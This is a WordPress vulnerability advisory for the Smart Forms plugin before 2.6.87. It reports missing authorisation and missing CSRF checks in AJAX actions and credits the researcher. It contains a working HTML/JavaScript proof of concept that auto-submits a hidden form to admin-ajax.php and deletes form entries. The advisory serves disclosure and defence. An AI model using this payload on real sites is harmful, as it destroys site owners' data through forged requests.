WordPress Plugin Vulnerabilities

Smart Forms < 2.6.87 - Subscriber+ Arbitrary Entry Deletion

Description

The plugin does not have authorisation in various AJAX actions, which could allow users with a role as low as subscriber to call them and perform unauthorised actions such as deleting entries. The plugin also lacks CSRF checks in some places which could allow attackers to make logged in users perform unwanted actions via CSRF attacks such as deleting entries.

Proof of Concept

<!DOCTYPE html>
<html>
  <body>
    <script>
      const formData = new FormData();
      formData.append('action', 'rednao_smart_form_delete_entries');
      formData.append('data', '{"Ids":["1","2"]}');

      const csrfForm = document.createElement('form');
      csrfForm.method = 'POST';
      csrfForm.action = 'https://example.com/wp-admin/admin-ajax.php';
      csrfForm.enctype = 'multipart/form-data';

      const boundary = '----WebKitFormBoundaryAFcqGF5eShv7ARup';
      csrfForm.setAttribute('boundary', boundary);

      for (const pair of formData) {
        const input = document.createElement('input');
        input.type = 'hidden';
        input.name = pair[0];
        input.value = pair[1];
        csrfForm.appendChild(input);
      }

      document.body.appendChild(csrfForm);
      csrfForm.submit();
    </script>
  </body>
</html>

Affects Plugins

Fixed in 2.6.87

References

YouTube Video

Classification

Type
NO AUTHORISATION
CWE

Miscellaneous

Original Researcher
Mohammad Reza Omrani
Submitter
Mohammad Reza Omrani
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2024-02-02 (about 3 months ago)
Added
2024-02-02 (about 3 months ago)
Last Updated
2024-02-02 (about 3 months ago)

Other